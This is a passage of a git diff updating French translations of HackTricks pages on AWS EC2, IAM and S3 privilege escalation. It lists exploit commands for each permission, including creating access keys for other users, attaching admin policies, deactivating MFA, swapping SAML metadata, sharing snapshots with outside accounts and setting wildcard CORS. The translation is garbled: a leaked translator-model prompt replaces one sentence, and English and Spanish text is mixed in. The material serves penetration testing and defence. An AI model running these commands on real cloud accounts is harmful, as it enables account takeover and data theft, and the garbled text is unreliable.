aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
--http-tokens optional \
|
||||
--http-endpoint enabled \
|
||||
--http-put-response-hop-limit 2
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
Un attaquant disposant des permissions ec2:ModifyImageAttribute et ec2:ModifySnapshotAttribute peut partager des AMIs ou des snapshots avec d'autres comptes AWS (ou même les rendre publics), exposant des images ou des volumes qui peuvent contenir des données sensibles telles que des configurations, des identifiants, des certificats ou des sauvegardes. En modifiant les `launch permissions` d'une AMI ou les `create-volume permissions` d'un snapshot, l'attaquant permet à des tiers de lancer des instances ou de monter des disques à partir de ces ressources et d'accéder à leur contenu.
|
||||
|
||||
Pour partager une AMI avec un autre compte :
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
Pour partager un EBS snapshot avec un autre compte :
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+68
-41
@@ -12,56 +12,56 @@ Pour plus d'informations sur IAM, consultez :
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Accorde la capacité de créer une nouvelle IAM policy version, contournant le besoin de la permission `iam:SetDefaultPolicyVersion` en utilisant le flag `--set-as-default`. Cela permet de définir des permissions personnalisées.
|
||||
Accorde la capacité de créer une nouvelle version d'une policy IAM, contournant le besoin de la permission `iam:SetDefaultPolicyVersion` en utilisant le flag `--set-as-default`. Cela permet de définir des permissions personnalisées.
|
||||
|
||||
**Commande d'exploitation :**
|
||||
**Commande d'exploitation:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Impact :** Escalade directement les privilèges en autorisant toute action sur n'importe quelle ressource.
|
||||
**Impact:** Permet d'escalader directement les privilèges en autorisant toute action sur n'importe quelle ressource.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Permet de changer la version par défaut d'une IAM policy vers une autre version existante, ce qui peut entraîner une élévation des privilèges si la nouvelle version dispose de plus d'autorisations.
|
||||
Permet de modifier la version par défaut d'une IAM policy vers une autre version existante, ce qui peut entraîner une escalade de privilèges si la nouvelle version accorde davantage de permissions.
|
||||
|
||||
**Commande Bash :**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Impact :** Escalade de privilèges indirecte en autorisant davantage de permissions.
|
||||
**Impact :** Escalade de privilèges indirecte en permettant davantage d'autorisations.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
Permet de créer un access key ID et un secret access key pour un autre utilisateur, pouvant conduire à une escalade de privilèges.
|
||||
Permet de créer un access key ID et un secret access key pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact :** Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur.
|
||||
**Impact:** Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur.
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Permet de créer ou de mettre à jour un profil de connexion, y compris en définissant des mots de passe pour la connexion console AWS, ce qui permet une escalade de privilèges directe.
|
||||
Permet de créer ou de mettre à jour un login profile, y compris définir des mots de passe pour la connexion à la console AWS, entraînant une escalade de privilèges directe.
|
||||
|
||||
**Exploit pour la création :**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit pour mise à jour:**
|
||||
**Exploit pour la mise à jour:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impact:** Escalade de privilèges directe en se connectant en tant que n'importe quel utilisateur.
|
||||
**Impact :** Escalade de privilèges directe en se connectant en tant que n'importe quel utilisateur.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Permet d'activer une clé d'accès désactivée, pouvant conduire à un accès non autorisé si l'attaquant possède la clé désactivée.
|
||||
Permet d'activer une clé d'accès désactivée, ce qui peut conduire à un accès non autorisé si l'attaquant possède la clé désactivée.
|
||||
|
||||
**Exploit:**
|
||||
**Exploit :**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
@@ -69,41 +69,41 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Permet de générer ou de réinitialiser des credentials pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), en héritant des permissions de l'utilisateur associé.
|
||||
Permet de générer ou de réinitialiser des credentials pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), héritant des permissions de l'utilisateur associé.
|
||||
|
||||
**Exploit pour la création :**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**Exploit pour réinitialisation :**
|
||||
**Exploit pour Reset:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impact :** Escalade de privilèges directe au sein des autorisations de service de l'utilisateur.
|
||||
**Impact :** Escalade directe des privilèges au sein des permissions de service de l'utilisateur.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Permet d'attacher des politiques aux utilisateurs ou aux groupes, escaladant directement les privilèges en héritant des permissions de la politique attachée.
|
||||
Permet d'attacher des policies à des users ou des groups, permettant une escalade directe des privilèges en héritant des permissions de la policy attachée.
|
||||
|
||||
**Exploit pour l'utilisateur :**
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit pour le groupe :**
|
||||
**Exploit pour le groupe:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impact :** Élévation directe des privilèges à tout ce que la politique permet.
|
||||
**Impact :** Escalade de privilèges directe vers tout ce que la stratégie accorde.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Permet d'attacher ou d'ajouter des politiques à des rôles, utilisateurs ou groupes, autorisant une élévation directe des privilèges en accordant des permissions supplémentaires.
|
||||
Permet d'attacher ou d'ajouter des politiques à des rôles, utilisateurs ou groupes, permettant une escalade de privilèges directe en accordant des autorisations supplémentaires.
|
||||
|
||||
**Exploit pour un rôle :**
|
||||
**Exploit pour rôle :**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit pour Inline Policies:**
|
||||
**Exploit pour les politiques inline :**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Vous pouvez utiliser une politique comme :
|
||||
Veuillez fournir le contenu du fichier src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md à traduire. Je traduirai en français en conservant exactement la syntaxe markdown/HTML et en respectant les éléments à ne pas traduire (code, noms de services, liens, chemins, tags, etc.).
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -127,28 +127,28 @@ Vous pouvez utiliser une politique comme :
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Escalade directe de privilèges en ajoutant des permissions via des policies.
|
||||
**Impact :** Escalade directe des privilèges en ajoutant des autorisations via des politiques.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Permet de s'ajouter à un groupe IAM, escaladant les privilèges en héritant des permissions du groupe.
|
||||
Permet de s'ajouter soi-même à un groupe IAM, augmentant les privilèges en héritant des autorisations du groupe.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impact:** Direct privilege escalation au niveau des permissions du groupe.
|
||||
**Impact:** Escalade directe des privilèges au niveau des permissions du groupe.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Permet de modifier le assume role policy document d'un rôle, permettant l'assumption du rôle et l'obtention de ses permissions associées.
|
||||
Permet de modifier le assume role policy document d'un rôle, permettant d'assumer ce rôle et les permissions qui y sont associées.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur l'autorisation d'assumer le rôle :
|
||||
Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,27 +163,27 @@ Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur l'a
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact :** Escalade directe des privilèges en assumant les permissions de n'importe quel rôle.
|
||||
**Impact:** Escalade de privilèges directe en assumant les permissions de n'importe quel rôle.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Permet de téléverser une clé publique SSH pour s'authentifier auprès de CodeCommit et de désactiver des dispositifs MFA, conduisant à une possible escalade indirecte des privilèges.
|
||||
Permet de téléverser une clé publique SSH pour s'authentifier auprès de CodeCommit et de désactiver des appareils MFA, ce qui peut conduire à une escalade de privilèges indirecte.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit pour MFA Deactivation:**
|
||||
**Exploit pour la désactivation du MFA :**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Impact :** Élévation de privilèges indirecte en autorisant l'accès à CodeCommit ou en désactivant la protection MFA.
|
||||
**Impact :** Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Permet la resynchronisation d'un dispositif MFA, pouvant conduire à une élévation de privilèges indirecte en manipulant la protection MFA.
|
||||
Permet de resynchroniser un appareil MFA, ce qui peut conduire à une escalade de privilèges indirecte en manipulant la protection MFA.
|
||||
|
||||
**Commande Bash :**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
@@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **SAML federation** pour **login** avec n'importe quel **role qui lui fait confiance**.
|
||||
Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **login** avec n'importe quel **role qui lui fait confiance**.
|
||||
|
||||
Notez que si vous faites cela, **les utilisateurs légitimes ne pourront pas se connecter**. Cependant, vous pouvez récupérer le XML, y mettre le vôtre, vous connecter et remettre la configuration précédente.
|
||||
Notez qu'en faisant cela, **les utilisateurs légitimes ne pourront pas login**. Cependant, vous pourriez obtenir le XML, y mettre le vôtre, login et restaurer la configuration précédente.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Un outil capable de générer les métadonnées SAML et de login avec un rôle spécifié
|
||||
> TODO: Un outil capable de générer les métadonnées SAML et de se connecter avec un rôle spécifié
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Incertain à ce sujet) Si un attaquant dispose de ces **autorisations**, il pourrait ajouter un nouveau **Thumbprint** pour réussir à login dans tous les rôles faisant confiance au fournisseur.
|
||||
(Incertain à ce sujet) Si un attaquant possède ces **permissions** il pourrait ajouter un nouveau **Thumbprint** et ainsi réussir à se connecter à tous les rôles faisant confiance au provider.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Cette autorisation permet à un attaquant de mettre à jour le permissions boundary d'un utilisateur, pouvant ainsi escalader ses privilèges en lui permettant d'effectuer des actions normalement restreintes par ses autorisations existantes.
|
||||
Cette permission permet à un attaquant de mettre à jour le permissions boundary d'un utilisateur, escaladant potentiellement ses privilèges en lui permettant d'effectuer des actions normalement restreintes par ses permissions existantes.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
|
||||
|
||||
Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
|
||||
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BoundaryAllowAll",
|
||||
"Effect": "Allow",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Un acteur disposant de iam:PutRolePermissionsBoundary peut définir une limite de permissions sur un rôle existant. Le risque apparaît lorsqu'une personne disposant de cette autorisation modifie la limite d'un rôle : elle peut restreindre de manière inappropriée des opérations (provoquant une perturbation du service) ou, si elle associe une limite permissive, étendre effectivement ce que le rôle peut faire et obtenir une élévation de privilèges.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
## Références
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
+40
-17
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
Un attacker disposant de ces permissions sur des buckets intéressants pourrait hijack resources et escalate privileges.
|
||||
Un attaquant disposant de ces permissions sur des buckets intéressants pourrait détourner des ressources et escalader des privilèges.
|
||||
|
||||
Par exemple, un attacker disposant de ces **permissions sur un cloudformation bucket** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra hijack le déploiement. L'accès peut être accordé avec la policy suivante:
|
||||
Par exemple, un attaquant avec ces **permissions sur un cloudformation bucket** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être donné avec la policy suivante:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,29 +34,30 @@ Par exemple, un attacker disposant de ces **permissions sur un cloudformation bu
|
||||
]
|
||||
}
|
||||
```
|
||||
Et le hijack est possible parce qu'il existe une **petite fenêtre temporelle entre le moment où le template est uploadé** dans le bucket et le moment où le **template est déployé**. Un attaquant pourrait simplement créer une **lambda function** dans son compte qui **se déclenche lorsque qu'une notification de bucket est envoyée**, et **hijacks** le **content** de ce **bucket**.
|
||||
And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
|
||||
|
||||
.png>)
|
||||
|
||||
Le module Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) peut être utilisé pour automatiser cette attaque.\
|
||||
Pour plus d'informations, consultez la recherche originale : [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
|
||||
For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
Ce sont les permissions pour **récupérer et téléverser des objets sur S3**. Plusieurs services au sein d'AWS (et en dehors) utilisent le stockage S3 pour conserver des **fichiers de configuration**.\
|
||||
Un attaquant ayant un **accès en lecture** pourrait y trouver des **informations sensibles**.\
|
||||
Un attaquant ayant un **accès en écriture** pourrait **modifier les données pour abuser d'un service et tenter d'escalader des privilèges**.\
|
||||
Ce sont les permissions pour **récupérer et uploader des objets sur S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour conserver des **fichiers de configuration**.\
|
||||
Un attaquant ayant **un accès en lecture** à ces fichiers pourrait y trouver des **informations sensibles**.\
|
||||
Un attaquant ayant **un accès en écriture** pourrait **modifier les données pour abuser d'un service et tenter d'escalader les privilèges**.\
|
||||
Voici quelques exemples :
|
||||
|
||||
- Si une instance EC2 stocke les **user data dans un bucket S3**, un attaquant pourrait les modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
|
||||
- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
Il est très courant que les fichiers d'état [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient enregistrés dans le blob storage des fournisseurs cloud, par ex. AWS S3. Le suffixe des fichiers d'état est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. En général, chaque compte AWS a un tel bucket pour stocker les fichiers d'état qui reflètent l'état du compte. De plus, dans des comptes réels, presque toujours tous les développeurs ont `s3:*` et parfois même les utilisateurs business ont `s3:Put*`.
|
||||
Il est très courant que les fichiers d'état de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient sauvegardés dans le blob storage des fournisseurs cloud, par ex. AWS S3. Le suffixe de fichier pour un state file est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des terraform state files. En général, chaque compte AWS possède un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte.
|
||||
Aussi, dans des comptes réels, presque toujours tous les développeurs ont `s3:*` et parfois même des utilisateurs métiers ont `s3:Put*`.
|
||||
|
||||
Donc, si vous disposez des permissions listées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir RCE dans le pipeline avec les privilèges de `terraform` — la plupart du temps `AdministratorAccess`, ce qui fait de vous l'admin du compte cloud. Vous pouvez aussi utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que `terraform` supprime des ressources légitimes.
|
||||
Donc, si vous avez les permissions listées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir RCE dans le pipeline avec les privilèges de `terraform` — la plupart du temps `AdministratorAccess`, vous faisant administrateur du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque de déni de service en forçant `terraform` à supprimer des ressources légitimes.
|
||||
|
||||
Suivez la description dans la section *Abusing Terraform State Files* de la page *Terraform Security* pour du code d'exploit directement exploitable :
|
||||
Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
|
||||
|
||||
{{#ref}}
|
||||
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
|
||||
@@ -64,7 +65,7 @@ Suivez la description dans la section *Abusing Terraform State Files* de la page
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Un attaquant, qui doit être **du même compte** — sinon l'erreur `The specified method is not allowed` sera déclenchée — avec cette permission pourra se donner plus de permissions sur le(s) bucket(s), lui permettant de lire, écrire, modifier, supprimer et exposer des buckets.
|
||||
An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
Un attaquant pourrait abuser de ces permissions pour **lui accorder davantage d'accès** sur des buckets spécifiques.\
|
||||
Notez que l'attaquant n'a pas besoin d'être du même compte. De plus, l'accès en écriture
|
||||
Un attaquant pourrait abuser de ces permissions pour **s'octroyer davantage d'accès** sur des buckets spécifiques.\
|
||||
Notez que l'attaquant n'a pas besoin d'appartenir au même compte. Moreover the write access
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
Un attaquant pourrait abuser de ces autorisations pour s'octroyer un accès plus étendu à des objets spécifiques à l'intérieur des buckets.
|
||||
Un attaquant pourrait abuser de ces permissions pour s'accorder davantage d'accès sur des objets spécifiques à l'intérieur des buckets.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -177,9 +178,31 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
Un attaquant disposant de ces privilèges devrait pouvoir appliquer un Acl à une version spécifique d'un objet.
|
||||
Un attaquant disposant de ces privilèges devrait pouvoir mettre un Acl sur une version spécifique d'un objet.
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
Un attaquant disposant de la permission s3:PutBucketCORS peut modifier la configuration CORS (Cross-Origin Resource Sharing) d'un bucket, ce qui contrôle quels domaines web peuvent accéder à ses endpoints.
|
||||
|
||||
S'ils définissent une politique permissive, n'importe quel site web pourrait effectuer des requêtes directes vers le bucket et lire les réponses depuis un navigateur.
|
||||
|
||||
Cela signifie que, potentiellement, si un utilisateur authentifié d'une web app hébergée depuis le bucket visite le site de l'attaquant, celui-ci pourrait exploiter la politique CORS permissive et, selon l'application, accéder aux données de profil de l'utilisateur voire détourner son compte.
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--cors-configuration '{
|
||||
"CORSRules": [
|
||||
{
|
||||
"AllowedOrigins": ["*"],
|
||||
"AllowedMethods": ["GET", "PUT", "POST"],
|
||||
"AllowedHeaders": ["*"],
|
||||
"ExposeHeaders": ["x-amz-request-id"],
|
||||
"MaxAgeSeconds": 3000
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user